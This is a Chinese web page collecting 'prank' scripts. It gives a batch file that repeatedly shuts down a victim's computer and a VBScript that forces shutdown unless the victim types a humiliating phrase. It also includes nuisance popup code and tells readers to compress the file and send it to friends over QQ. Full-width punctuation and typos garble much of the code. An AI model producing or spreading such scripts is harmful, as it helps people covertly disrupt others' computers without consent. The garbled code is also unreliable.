整人代码大全
让对方重启指定次数(害人专用)
@echo off
if not exist c:1.txt echo。 〉c:1。txt & goto err1
if not exist c:2.txt echo. 〉c:2.txt & goto err1
if not exist c:3。txt echo. 〉c:3.txt & goto err1s
if not exist c:4。txt echo。 >c:4.txt & goto err1
if not exist c:5。txt echo. 〉c:5。txt & goto err1
goto err2
:err1
shutdown —s —t 0
:err2
上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. 〉 & goto err1那
就是重启6次
改成7就是7次..。
打开“开始→程序→附件→记事本",把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,
保存类型为“所有文件",文件名为“你想要的名字。bat”,你的批量处理器就完成了。
善意恶搞关机
首先呢,我们在桌面创建个新文件夹然后打开,在上面到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
vbs整人代码病毒dim WSHshellA
set WSHshellA = ateobject("wscript.shell”)
WSHshellA.run " /c shutdown -r —t 60 -c ”"说我是猪,不说我是猪就一分钟关你机,
不信,试试···”" ”,0 ,true
dim a
do while(a 〈> "我是猪”)
a = inputbox ("说我是猪,就不关机,快撒,说 ””我是猪"" ","说不说”,"不说”,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = ateobject("wscript.shell")
WSHshell。run "cmd。exe /c shutdown -a”,0 ,true
msgbox chr(13) + chr(13) + chr(13) + ”哈哈哈哈,一切皆有可能~”
复制之后呢,把后缀修改为。vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,
对方打开了就在60秒内要关闭计算机,
结束任务都不行,他只能说他是猪才能解决问题。够坏吧? 注意哦,你可以把我是猪那个修改成任意想说的话,
要是对付你喜欢的人,
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了
,还没等对方打完就关机了 是不是叫对方很郁闷呢?
让人崩溃的关机程序
首先你可以看下面的
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!”&TSName)
WScript。Echo(”你是可爱的XX童鞋吗?")
WScript.Echo(”哈,我想你拉,这你都不知道吗?”)
WScript。Echo(”怎么才来,说~是不是不关心我")
WScript.Echo(”哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo(”夜黑很生气,后果很严重哦。”)
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript。Echo("是不是想清除我?”)
WScript。Echo("那你要点上50下哦,不过会给你惊喜滴”)
WScript.Echo(”还剩49下,快点点哦")
WScript。Echo(”还剩48下,快点,小笨蛋!”)
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论